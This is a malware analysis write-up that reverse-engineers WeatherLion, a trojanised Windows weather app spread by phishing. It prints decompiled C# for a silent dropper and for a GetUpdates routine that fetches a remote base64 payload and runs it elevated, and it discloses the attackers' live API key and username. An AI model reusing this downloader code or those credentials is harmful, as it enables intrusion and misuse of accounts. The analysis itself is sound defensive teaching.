WeatherLion
- Spam And Phishing At Bowdlerize
- Sample Acquisition
- Camoflage Tactics
- WeatherLion Launcher
- Inno Setup Installation
- Fetching Second Stage Payloads
- Priming A Reverse Shell
- Hashes And Auto-Analysis
Spam And Phishing At Bowlderize
This writeup was originally composed for colleagues with a casual interest in malware,
but no analysis experience. It emphasizes process and tools with intent to serve as a
reverse engineering primer, as well as proof that “trial and error” is as much methodology
as the inquisitive hobbyist requires. In deference to the venue shift from a private Slack
channel to the open internet, I'll refer to the enterprise that was beset by WeatherLion malware
as a fictitious online marketplace called
Bowdlerize.
Bowdlerize Buyers and Sellers exchange millions of messages daily. A slice of this chatter is spam:
coupon blasts, donation overtures, and gallons of e-marketing snake oil. While spam degrades
user experience and Bowdlerize Security strives to curb it, come-ons like
GET 50K INSTA FOLLOWERS FOR $1!!!!!
skew more towards irksome than dangerous.
Predatory
phishing
attempts are the exception. A “phish” signifies any ruse devised to trick a
victim into compromising themselves. Faux Bowdlerize login and checkout pages are common traps,
as shown in the screenshot below. Note the URL,
makeitaccess.com.
A small subset of phishers use Bowdlerize to distribute
malware.
Malware is a catchall term for
malicious software. It’s often used interchangeably with the phrase
“computer virus”. Weaponized viruses, such as the notorious NotPetya, are purely destructive.
Cash, however, rules everything around most pernicious code. Just as carjackers jack cars and pickpockets
differ from lock pickers, so variants of malware specialize in their methods and quarry. Some, for
instance, steal CPU cycles in order to mine cryptocurrency. Others log keystrokes or hold data for ransom.
Bowdlerize’s attackers tend to circulate
Remote Access Trojans (RAT), malware that empowers bad actors to control infected machines from afar.
Sustained return on investment is the allure of infecting machines. A filched credit card can be promptly
canceled, login credentials cycled. A foothold in a victim’s computer, however, provides criminals with
perpetual access to whatever treasure may materialize.
Sample Acquisition
The topic of this report is a strain of malware that I call
WeatherLion, which is the name of the bogus
application that was distributed to Sellers via Bowdlerize convos. It was disseminated by a group internally known as
Syncfile. Syncfile has been sporadically targeting Bowdlerize since at least October, 2019, usually trafficking in commodity
malware called
Trickbot. Though Syncfile sometimes picks on Bowdlerize admins, the gang prefers targeting Sellers.
Syncfile may not write its own code from scratch. For ease of reference, however, I’ll
refer to them as WeatherLions’s collective author.
The particulars of Syncfile’s bait are always in flux in order to evade keyword detection filters. The core
scheme, however, is consistent. First Syncfile takes over a long-tenured Buyer account with site credibility.
Next they message Sellers expressing intent to place an order. At some point in the ensuing dialogue,
which can consist of many exchanges, Syncfile dangles a link to the listings that they claim to desire.
The screenshot below shows bait from the WeatherLion campaign. You can see that Syncfile cut to the chase
by including a malicious link in their first message, rather than gradually building trust through conversation.
Perhaps to compensate for this haste, Syncfile burnished their scrim of legitimacy by registering the domains
bowdlerize.eco,
bowdlerize.chlen, and
bowdlerize.lol. Eager to provide good customer service and to make a sale, many of the several thousand contacted Sellers engaged.
A full link looks like
hxxps://bowdlerize.eco/?dcum133791321. Usually Syncfile routes incoming traffic through an intermediary service that logs victims’ IP addresses,
checks their User Agent string, and rejects requests if the system does not appear to be running Windows,
which is the platform upon which Syncfile’s malware preys. This campaign didn’t involve any such pre-filtration.
Rather, requests were redirected to a range of hacked websites on which Syncfile had clandestinely hosted WeatherLion
malware. Users who clicked a malicious link were prompted to download a file, which, with the anticipation of a
longtime Syncfile aficionado, I did.
Camoflage Tactics
At a glance, WeatherLion evinces several departures from Syncfile’s norms. Principally, it’s an application
rather than a raw
.exe
file. The application’s icon resembles the icon of iOS’ “Weather” app. The familiarity of this design
perhaps lowers victims’ guard and raises the odds of an unwitting double-click.
Layering on impersonation, the WeatherLion app is signed by a digital certificate that was issued to a
company named “Ithought Danmark Apps”, as shown in the screenshot below. Ithought Danmark Apps is a
small healthcare startup based in Denmark. Syncfile stole or nefariously procured this certificate and
used it to “prove” that their software was written by a venerable enterprise. Said certificate has been
revoked by its issuing Certificate Authority, DigiCert.
Though camouflaged by a cert and a disarming icon, WeatherLion demonstrates a cavalier attitude towards
its own viability. For example, it requires Administrator privileges to launch. This mandate is
surprising; even guileless targets are likely to pause before granting elevated permissions to an
unknown program. Further, WeatherLion’s is packaged for 64-bit architecture, rendering 32-bit systems
immune to infection. My analysis VM is not among that invulnerable number. Kicking off a cursory
investigation with all the hubris of an “expert” in Syncfile’s moves, the first of many snapshots was torched
within clicks.
WeatherLion Launcher
Static Analysis
There’s often much to be learned about a piece of malware by studying the file at rest. This process is called
static analysis. I always perform static analysis on a sample before attempting to evaluate the program in execution,
a practice called
dynamic
or
behavioral analysis. Ideally static analysis yields enough information about what a file is and does to guide dynamic probing.
Ghidra, a free environment that combines a disassembler, a decompiler, and a debugger, is my go-to tool for static
review. File structure, in turn, is the first attribute that I examine. Windows executables abide the
portable executable, or
PE
file format. Microsoft has
documented
this standard in detail. Because so many devs have so assiduously traversed PEs over the decades, there
are also a great many unofficial, expertly-informed paeans to the PE online.
A boilerplate PE has nine sections. For example, a PE’s
.text
section holds executable code, while the
.rsrc
section contains resources, such as images. Segmenting the contents of a file makes sense for the same reason
that keeping separate silverware and sock drawers is advisable. In addition to organizational benefits, each
PE section has permissions germane to its purpose. The key underlying principle is that a page of memory
should never be simultaneously writable and executable. Without this safeguard, unprivileged malware could
simply write wickedness into extant executable memory and call it a pwn.
When a PE runs, each of its sections is mapped contiguously into the virtual memory that the kernel has allocated
to the new process. PE headers represent a blueprint for that mapping, and so, an overview of the file.
Ghidra parses these headers in order to display the layout of the file. Oddly, WeatherLion is organized into
just three sections:.text,
.rsrc, and
.reloc.
Noticeably absent are the
.data
and
.rdata
sections. The former holds
uninitialized
data such as structures that will be populated with values at run time. The latter holds
initialized
data such as hardcoded strings. It’s impossible to imagine an application that would not require such
information, and so our first rabbit hole yawns before us.
Ghidra’s
Symbol Tree
pane, shown below, lays a plank across that abyss. The view shows that
MSCOREE.DLL
is the only library that WeatherLion imports. Put another way,
MSCOREE.DLL
is WeatherLion’s sole direct dependency. Further,
_CorExeMain
is the lone linked function.
Concise imports lists are the norm for malware. This is because shady code reliably smuggles dependencies
into memory by fetching them at run time. Injected libraries are not visible during static analysis. Sneaky!
One import, however, is implausible enough to arch the brow of even the most credulous reverse engineer.
Attracting attention would be self-defeating, so there must be some legitimate explanation for this svelte catalog.
It just so happens that
.text,
.rsrc, and
.reloc
are the three default sections of the
extended PE format, also known as .NET assemblies. Further,
MSCOREE’s
_CorExeMain
function is essential for building the .NET framework. In fact, Ghidra illustrates that WeatherLion immediately
calls
_CorExeMain
in order to launch a .NET runtime. How, you might wonder, can we know WeatherLion’s call sequence without
running the file? The offset where code execution begins is stored in the
AddressOfEntryPoint
property of the
NT_IMAGE_OPTIONAL
PE header. This location is colloquially referred to as “entry”.
WeatherLion’s entry function is
thunked. Also known as “trampoline functions”, thunked functions bounce code flow along to another function.
The Ghidra screenshot above shows that when the CPU’s instruction pointer reaches entry, it jumps (JMP) to the address of
MSCOREE.DLL::_CorExeMain, which hoists up the .NET runtime.
Before tailing WeatherLion into the walled garden of said runtime, we’d be remiss not to evaluate its
manifest. Every .NET application has a manifest, an XML configuration file typically stored in binary as a resource
in the
.rsrc
PE section. The free tool
Resource Hacker
displays it plainly.
Cyrillic comments suggest Russian provenance. It would be naive, however, to trust signal so easily fabricated
with Google Translate, истинный? Even elite threat intelligence firms shy from publicly assigning attribution due
to the sophistication of false flags that attackers plant to deflect blame, as well as the prevalence of code
reuse among malware variants.
Ultimately the Cyrillic is a curio, an artifact that the attackers either cagily deposited, or, more likely,
forgot to scrub. Regardless, it humanizes them. Their personality sharpens with each piece of digital litter.
Take the name of the app itself, MyApplication.app, which is encoded on line 3 of the manifest. Safe to say,
MyApplication.app is a default value. This placeholder strains WeatherLion’s guise of legitimacy. How many
programmers, after all, would overlook naming their software before distributing it? Neglecting to replace
a stub name with a bespoke one suggests that whoever packaged WeatherLion is less than fastidious, and so may
demonstrate that same carelessness, to our benefit, elsewhere.
The manifest does yield a practically useful property. As noted earlier, WeatherLion insists upon running with
Administrator privileges. That requirement is asserted on line 19:
requestedExecutionLevel
level="requireAdministrator"
uiAccess="false"
.
We can use Resource Hacker to both modify this attribute to
asInvoker
and recompile the resource, enabling us to run WeatherLion as a regular user, a comfort at this stage,
since we don’t yet know what the dodgy code attempts.Dynamic Analysis
When I began analyzing WeatherLion, I was unaware of the extended PE format and unfamiliar with .NET
conventions. As a result, I repeatedly confused status quo operations with malicious hijinx. For
example, studying WeatherLion in my favorite free debugger,
x64dbg, its PE sections appear jumbled in virtual memory. Viewing a standard PE, sections such as
.text
are defined in memory, as seen for
mscoree.dll
below.
By contrast, WeatherLion's sections appear undifferentiated. Notice that there are no.text,
.rdata, or
.reloc
tags in the "Info" column.
I became convinced that Syncfile had botched generating custom sections, and bloodied my forehead
against the bricks of this impasse for weeks. To the same end, the .NET runtime builds the Import
Address Table (IAT). This honor is usually reserved for a system called the
image loader, which
runs before application code just as surely as Windows Me preceded Windows XP. Again, I flung
myself into proving the fallacy that WeatherLion tampers with IAT parsing in order to inject a payload.
Dead ends lead to flailing, flailing to spinning wheels, spinning wheels to scrolling through yellowed
blog posts and tracking across umpteen YouTube tutorials towards enlightenment. Relief from utter
ignorance, however, will sometimes do. Today I know just enough to state that .NET was inspired by
Java, and that .NET languages such as C#, F#, and Visual Basic can be compiled to Common Intermediate Language (CIL), which is conceptually akin to Java bytecode. At run time, a just-in-time compiler (JIT) compiles
the CIL into ones and zeros. This means that we should be able to
decompile
WeatherLion.exe back to its C# source.
The free tool
dnSpy
facilitates exactly this transformation. After loading WeatherLion into dnSpy, we can examine the
C# as if we were developers tasked with patching it. The
main
function, shown in full below, reveals WeatherLion to be a wrapper for a launcher. First
main
deletes a file called Install.exe if it exists in the current directory. Next it writes a hidden file
(akin to nix dotfiles) called Install.exe out of bytes streamed from the resource
Resource1.mysetup. Finally, WeatherLion spawns a new process in which Install.exe executes.
// Project1.Program
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x0000025
public static void Main(string[] args)
{
string path = Path.Combine(Directory.GetCurrentDirectory(), "Install.exe");
try {
File.Delete(path);
} catch {}
using (FileStream fileStream = new FileStream(
path,
FileMode.CreateNew,
FileAccess.Write
)
)
{
byte[] mysetup = Resource1.mysetup;
fileStream.Write(mysetup, 0, mysetup.Length);
}
File.SetAttributes(path, FileAttributes.Hidden);
new Process
{
StartInfo =
{
FileName = "Install.exe",
Arguments = "/VERYSILENT /SUPPRESSMSGBOXES /NORESTART",
UseShellExecute = true,
Verb = "runas"
}
}.Start();
}
Setting a breakpoint on
Start()
in dnSpy allows us to capture and examine Install.exe, vintage icon and all, before it runs.
Install.exe...🤔 In the words of a certain
LiteraryLion, the filename begs an overwhelming question.
Oh, do not ask, “What is it?”
Let us go and make our visit.
Inno Setup Installation
Our first stop is
binvis.io, a free service that visualizes entropy in binaries. Red represents utmost entropy. Install.exe, apparently, is chaos.
Or very uptight. High entropy suggests compression. Compressed data is, alas, inscrutable until decompressed.
It would be a boon to unpack and examine Install.exe’s payload without actually running the dangerous file.
Doing so requires excising compressed bytes from surrounding data, an operation abetted by the free command line utility
binwalk. Passing the script’s
--entropy
switch spotlights where to begin carving by indicating that compression jumps to nearly 100% at the file offset
0xBEC00.
binwalk --entropy install.exe
DECIMAL HEXADECIMAL ENTROPY
--------------------------------------
0 0x0 Falling entropy edge (0.607298)
781312 0xBEC00 Rising entropy edge (0.996648)
The output of binwalk’s
--fast
option estimates that a region of 8,388,608 bytes has been compressed using the
LZMA
algorithm.
binwalk --fast install.exe
DECIMAL HEXADECIMAL ENTROPY
--------------------------------------
0 0x0 Microsoft executable, portable (PE)
778516 0xBE114 XML document, version: "1.0"
11955004 0xB66B3C LZMA compressed data, properties: 0x5D,
dictionary size: 8388608 bytes, missing uncompressed size
Equipped with the address where compression starts and the size of the compressed section, we have the
information necessary to extract the archive. Because we also know that the bytes were deflated with the LZMA
algorithm, we can, in theory, inflate them using a free application like
The Unarchiver.
Unfortunately, no such luck.
Instead of belaboring this surgical approach, I turned to static analysis for clues about the nature
of the packed code.
Unlike terse WeatherLion.exe, Install.exe’s imports candidly foretell how the file operates. The free utility
Dependency Walker
generates a comprehensive inventory of required libraries by recursively sussing out dependencies,
the dependencies of dependencies, the dependencies of
those
dependencies, ad infinitum.
This trove of requirements is nested in dropdowns for each DLL, as shown in the two screenshots immediately below.
To emphasize how much insight imported functions can provide, consider that if we were on a deadline,
we could eyeball the imports list and note that Install.exe calls
KERNEL32.DLL::CreateProcessW.
It’s reasonable to assume that
CreateProcessW
is invoked once the malware is prepared to execute its decompressed payload. By placing a breakpoint on the
address of
CreateProcessW
in a debugger, we could thus acquire said payload without infecting ourselves. Salient imports beyond
CreateProcessW
abound.
VirtualAlloc
(not shown), for instance, implies that Install.exe initializes new regions of virtual memory. Perhaps it will
write its inflated payload into this virgin real estate. The presence of
VirtualProtect
(not shown) lends credence to that hypothesis.
VirtualProtect
modifies the protection level of pages of memory. Install.exe could call it to make fresh Read/Write regions Executable.
Navigating to the call sites of red-flag methods in Ghidra is an effective tactic for surveying the lay of Install.exe.
The free tool
API Monitor
enhances that insight by capturing library calls as the file runs, rendering a grainy portrait of the malware’s
activity. I qualify “grainy” because extensive code may execute in the intervals between library calls. Though
coarse, API Monitor nonetheless provides an invaluable middle perspective between high-level static analysis and
low-level debugging.
Install.exe’s first compelling function call is
FindResourceW, shown on line 2,492 of the API Monitor screenshot below.
FindResourceW
returns the virtual address of the desired resource,
0x4C7450, while the subsequent call to
SizeOfResource
tells us that the resource is 44 bytes large.
A PE’s
.rsrc
section is organized as a tree. Leaf nodes are
IMAGE_RESOURCE_DATA_ENTRY
structs, which have an
OffsetToData
property. Ghidra shows us that the
OffsetToData
value for our node is
0XCA924
(the “h” signifies “hex”).
The address from which we’re offsetting is
0x400000,
the default
ImageBase
for Windows. Adding
0xCA924
to
0x400000
gives us the relative virtual address (RVA)
0x4CA924,
which is the location of the data itself.
My initial misapprehension was that Install.exe must leverage this resource to
transform read-only data into code. In fact, the resource is a table used to
locate and inflate various components necessary for the installation of the
WeatherLion application. For example, the map stores the offset of a compressed file called setup.exe,
as well as its expected decompressed size. With these data, Install.exe can allocate sufficient virtual
memory for setup.exe, then fetch and unpack the file.
I eventually discovered what I believe to be the source code for this table, called
TSetupLdrOffsetTable, on
GitHub, as well as the
unpacking method
itself. The
TSetupLdrOffsetTable
structure is shown in full below.
{ TSetupLdrOffsetTable is stored inside SetupLdr's SetupLdrOffsetTableResID
RCDATA resource }
PSetupLdrOffsetTable = ^TSetupLdrOffsetTable;
TSetupLdrOffsetTable = packed record
ID: array[1..12] of AnsiChar; { = SetupLdrOffsetTableID }
Version: LongWord; { = SetupLdrOffsetTableVersion }
TotalSize: LongWord; { Minimum expected size of setup.exe }
OffsetEXE: LongWord; { Offset of compressed setup.e32 }
UncompressedSizeEXE: LongWord; { Size of setup.e32 before compression }
CRCEXE: Longint; { CRC of setup.e32 before compression }
Offset0: LongWord; { Offset of embedded setup-0.bin data }
Offset1: LongWord; { Offset of embedded setup-1.bin data,
or 0 when DiskSpanning=yes }
TableCRC: Longint; { CRC of all prior fields in this record }
end;
Puzzling out the role of
TSetupLdrOffsetTable
prior to finding its source led to the most enjoyable and edifying aspect of this endeavor, an immersion in
Cyclic Redundancy Check (CRC)
routines. CRC is a common approach to validating the integrity of transmitted messages. Install.exe uses a
CRC32
routine, so-called because it vets 32 bits per iteration, to evaluate
TSetupLdrOffsetTable
itself for corruption, and then, to loopingly verify that chunks of data fetched via
TSetupLdrOffsetTable’s offsets are sound. The CRC formula is:
T = transmitted message
P = generator polynomial
W = bitlength of P
(T + (W zero bits)) ÷ P = quotient and remainder
The quotient is discarded, and the remainder is appended to the original message as a checksum.
CRC introduces a quirk in that its division is not regular long division, but rather, polynomial no-carry division,
which I won’t clumsily summarize when Ross N. Williams’
A Painless Guide to CRC Error Detection Algorithms, is a click away.
My tipoff that Install.exe is principally devoted to quality assurance was a curious value,
0xEDB88320, hardcoded in a subroutine of the first function that operates on
TSetupLdrOffsetTable.
You can see Ghidra’s decompiled view of this subroutine below, with
0xEDB88320
on line 20.
A web search demystified
0xEDB88320
as the CRC generator polynomial (i.e. “divisor”, or “P” in the formula above) specified in IEEE 802.3.
The function in the screenshot is not itself a CRC32 check, but rather a preliminary optimization.
It precomputes a lookup table of substitution bytes that accelerates CRC32 checks down the line.
It would be admirable of Syncfile to implement a CRC32 check. Such scruple, however, seemed uncharacteristic
of a group that neglected to name their own application. This dissonance drove a nagging hunch that Syncfile
did not author Install.exe. The clue that confirmed this theory, and that illuminated a bevy of indicators that
I’d missed or ignored, was, naturally, a string.
Remember when I tried to carve LZMA-compressed bytes out of Install.exe, but was unable to decompress them with
The Unarchiver? I couldn't resist eyeballing those bytes in a hex editor.
Here are the first 80:
The name
“Inno Setup”
rang a bell. When the original WeatherLion executable spawned a process in which to run
Install.exe, it passed three command line arguments:
VERYSILENT,
SUPPRESSMSGBOXES, and
NORESTART.
VERYSILENT
and
SUPPRESSMSGBOXES
work in tandem to prevent the victim from seeing a setup wizard, progress bar, and other communiques commonly
displayed during installs.
NORESTART
prevents the system from rebooting after a successful installation. Collectively, the options orchestrate
clandestine installation.
I found these parameter definitions in the online
documentation
of Inno Setup, “...a free installer for
Windows programs by Jordan Russell and Martijn Laan.” Though I clocked Inno Setup in the flush of early investigation,
I barreled right past it. Returning to RTFM, I realized what many Windows doyens would have recognized immediately:
Install.exe
is
Inno Setup software.
Confidence that Install.exe is benign, third-party freeware lifts the onus of reversing it comprehensively.
Instead we can fire up API Monitor and simply watch Inno Setup do its thing. First it creates a temporary directory at
C:\Users\shayne\AppData\Local\Temp\is-UFCQP.tmp. The “is” prefix stands for “Inno Setup”, and the 5-char directory name, “UFCQP”, changes with each install.
Next Inno Setup creates a file called
Install.tmp
in that directory. Note that
Install.tmp
is distinct from
Install.exe.
Install.tmp
is incrementally populated with data and written to disk, after which
Install.exe
launches an
InnoSetupLdrWindow. Recall that Syncfile chose to suppress this window with the
VERYSILENT
and
SUPPRESSMSGBOXES
arguments. By tweaking those params, we can display the GUI.
By and by, just as Dependency Walker foretold, Install.exe runs Install.tmp with a call to
CreateProcessW. Once the process is launched, Install.exe cleans up after itself by deleting the is-UFCQP.tmp directory
and the Install.tmp file. Interestingly, the command line argument, shown below, dictates intercommunication
between the parent process, Install.exe, and its child processes, Install.tmp.
CreateProcessW (
applicationName=NULL,
commandLine=""C:\Users\shayne\AppData\Local\Temp\is-UFCQP.tmp\Install.tmp"
/SL5="$40A3E,11955019,780800,C:\Users\shayne\Desktop\samples\Install.exe"",
processAttrs=NULL,
threadAttrs=NULL,
inheritHandles=FALSE,
creationFlags=CREATE_SUSPENDED,
environment=NULL,
currentDirectory=NULL,
startupInfo=0x0019fe94, // stack variable
processInfo=0x0019fe84 // stack variable
)
The Inno Setup lead unlocks new avenues of inquiry. Of particular interest is the free command line script
innoextract, “...a tool to unpack installers created by Inno Setup.” Hallelujah! Passing innoextract Install.exe
and the
--list
option returns an index of the files that are documented in the Inno Setup config. The first few lines look as such:
Listing "WeatherLion" - setup data version 6.1.0 (unicode)
- "app\WeatherLion.exe" (5.18 MiB
- "app\EntityFramework.dll" (4.98 MiB)
- "app\EntityFramework.SqlServer.dll" (607 KiB)
- "app\EntityFramework.SqlServer.xml" (154 KiB)
Though few of the 171 files are populated with data, the census of their paths furnishes a granular preview of
WeatherLion before it has been installed. For example, files like
app\System.Data.SQLite.dll
indicate that the app uses sqlite for persisting data in local databases like
app\res\storage\wak.db.
Similarly, innoextract’s sneak peek reveals that configuration info is stored in xml files such as
app\res\settings\config.xml
and
app\res\settings\preferences.xml. Collectively, the output exposes files of interest that we can target for analysis once WeatherLion is written.
Because we know that Install.tmp is Inno Setup software, let’s thunk to call 14,681,
ShellExecuteExW, and check out the WeatherLion application proper.
Fetching Second Stage Payloads
The WeatherLion application is written to
C:/Users/shayne/AppData/Roaming/WeatherLion/. The screenshot below shows its contents in the Windows File Explorer.
WeatherLion is a .NET application, which means that we can recruit dnSpy to decompile it into C#.
Remember that our first WeatherLion.exe file was a launcher. This WeatherLion.exe is an application, outfitted
with its very own, very
ire
icon.
The entry point is
WeatherLion.Program.Main, shown in full below.
private static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new WidgetForm());
}
Application.Run
takes one argument, an instance of the
WidgetForm
class. Instantiating
WidgetForm
is where the action happens; its very first call is to
WeatherLionMain.Launch.
This function sets up databases, ensures Internet connectivity, and determines the geolocation of the victim’s machine
by contacting various URLs. The free packet capture tool
Wireshark
is ideal for monitoring this network traffic. Wireshark shows WeatherLion discovering the IP address of its
host with a GET request to
ifconfig.me/ip, which returns an IP as a string.
GET /ip fetches the victim's IP address.
WeatherLion then sends this IP address to
api.ipstack.com
for supplementary information such as
country_name,
region_name,
city, and
zip. Syncfile’s API key,
1bb227db8f2dca1b9a3917fb403e2e99, is active at time of this writing, and can be used to fetch data about arbitrary IPs. The ipstack service
allots members 5,000 free requests per month. By logging into their ipstack account, Syncfile can see the IPs
of infected devices and measure their success rates.
The redacted value is the victim's IP address.
Eventually WeatherLion passes the
city
value that it receives from api.ipstack.com as a GET parameter to
api.geonames.org. Syncfile’s username,
“17sky”, seen below, is live and usable.
The redacted value is the victim's city.
All of this activity is justifiable for a weather application, which, after all, requires geolocation in
order to proffer relevant information. Without the context that WeatherLion was distributed by known attackers
via phishing messages containing links that spoof Bowdlerize’s domain and redirect to hacked WordPress sites, I might
even have become a WeatherLion user, because the app does indeed function. This fact, compounded by tidbits
such as the wonderfully exuberant “About” section of WeatherLion’s preferences, shown below, suggest that
Syncfile retrofitted a legitimate app for insidious purposes.
At this point, Syncfile has achieved four milestones. First, WeatherLion has persistence; it’s installed.
Second, it runs with Administrator privileges. Third, it can receive updates and exfiltrate spoils over the Internet.
Finally, data-driven Syncfile can leveralge api.ipstack.com analytics to gauge the “conversion rate” of their campaigns
and tune improvements.
With these prerequisites dispatched, the
WidgetForm
constructor spawns a worker thread. This Task naps for 4,000 milliseconds (4 seconds), and then calls
Program.GetUpdates.
this.running = true;
WidgetForm.m_instance = this;
WeatherLionMain.runningWidget = WidgetForm.GetInstance();
Task task = new Task(delegate()
{
Thread.Sleep(4000);
Program.GetUpdates();
});
task.Start();
Program.GetUpdates, shown in full below, requests a resource located at
hxxps://raw.githubusercontent.com/venusvenson/testov/main/testop. This URL now 404’s thanks to GitHub’s intervention. When WeatherLion was circulated, however, the call returned
the string “none”, which caused the function to quit. It seems reasonable to assume that Syncfile planned to host a
second-stage payload, such as a keylogger, at the URL. Infected machines would dutifully fetch this malicious code,
write it to a file innocuously named update.exe, and run the exploit as Admin.
public static void GetUpdates()
{
try {
string text = new
WebClient().DownloadString("hxxps://raw.githubusercontent.com/venusvenson/testov/main/testop").Trim();
bool flag = text == "none";
if (!flag) {
byte[] array = Convert.FromBase64String(text);
using (FileStream fileStream = new FileStream("update.exe", FileMode.OpenOrCreate))
{
fileStream.Write(array, 0, array.Length);
}
new Process
{
StartInfo =
{
FileName = "update.exe",
UseShellExecute = true,
Verb = "runas"
}
}.Start();
}
}
catch {}
}
Priming A Reverse Shell
Although we can’t know which second-stage payload that Syncfile planned to drop onto infected machines,
the group did leave a wink of sorts. WeatherLion comes packaged with a file named update.exe, which launches a
PuTTY
client. PuTTY is a much-beloved “...free implementation of SSH and Telnet for Windows and Unix platforms,
along with an xterm terminal emulator.” Though not preconfigured to do so, it’s the optimal software for opening
a reverse shell from victims’ machines to command-and-control infrastructure, delivering ownership of infected
devices to Syncfile.
Hashes And Auto-Analysis